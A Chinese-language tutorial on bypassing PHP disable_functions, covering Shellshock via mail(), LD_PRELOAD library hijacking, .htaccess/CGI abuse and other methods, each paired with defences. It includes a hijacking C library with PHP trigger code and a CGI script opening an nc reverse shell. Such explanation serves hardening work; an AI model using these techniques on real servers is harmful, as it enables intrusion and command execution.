PHP中通过bypass disable functions执行系统命令的几种方式
字数 1181 2025-08-18 11:37:16
PHP绕过disable_functions执行系统命令的几种方式
一、背景与概述
在PHP安全配置中,管理员通常会禁用一些危险函数(如eval、exec、system等),这些限制被称为"disable_functions"。然而,攻击者有多种方法可以绕过这些限制来执行系统命令。
二、Bash漏洞利用(CVE-2014-6271)
原理
利用GNU Bash 4.3及之前版本中的环境变量远程命令执行漏洞,通过PHP的mail()函数触发。
具体实现
- PHP的mail()函数最后一个参数
additional_parameters可以传递附加命令 - 当使用sendmail发送邮件时,会调用系统命令
- 如果系统默认sh是bash且存在漏洞,可以执行任意命令
关键代码
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
sendmail = popen(sendmail_cmd, "w");
防御措施
- 修复CVE-2014-6271 Bash漏洞
- 类似函数:imap_mail等也会调用popen
三、LD_PRELOAD环境变量利用
原理
Linux的LD_PRELOAD环境变量允许在程序运行前优先加载指定的动态链接库,可以劫持库函数调用。
实现步骤
- 编写恶意动态库,覆盖目标函数(如geteuid)
- 使用putenv设置LD_PRELOAD环境变量
- 调用会触发目标函数的PHP函数(如mail)
示例代码
hack.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("touch /var/www/html/test");
}
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译命令:
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
PHP调用代码:
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("adwin@localhost", "", "", "");
?>
防御措施
- 禁用putenv函数
- 限制环境变量的传递
四、.htaccess文件利用
前提条件
- Apache环境
- mod_cgi已启用
- AllowOverride设置为All
- 有权限写.htaccess文件
实现方法
- 修改.htaccess添加ExecCGI选项和处理器
- 创建CGI脚本文件
- 通过访问CGI脚本执行命令
示例.htaccess内容:
Options +ExecCGI
AddHandler cgi-script .dizzle
CGI脚本示例(shell.dizzle):
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
nc -c '/bin/bash' 127.0.0.1 4444
防御措施
- 限制.htaccess文件修改权限
- 禁用不必要的Apache模块
五、其他绕过方式
1. ImageMagick漏洞
- 影响版本: ImageMagick 6.9.3-9之前
- 通过处理畸形图片触发命令注入
2. pcntl_exec
- 利用pcntl扩展执行命令
- 常用于exec被禁用的情况
3. COM组件(Windows)
- 需要com.allow_dcom = true
- 可以绕过安全模式限制
4. win32std扩展
- 使用win_shell_execute函数执行命令
- 较老的PHP扩展
六、综合防御建议
- 及时修复已知漏洞(Bash漏洞等)
- 限制危险函数(putenv等)的使用
- 严格控制文件写入权限
- 禁用不必要的服务和模块
- 最小化PHP运行权限
- 定期审查服务器配置
- 监控异常行为
通过了解这些绕过技术,管理员可以更有针对性地加强服务器安全配置,防止攻击者利用这些方法提升权限或执行恶意操作。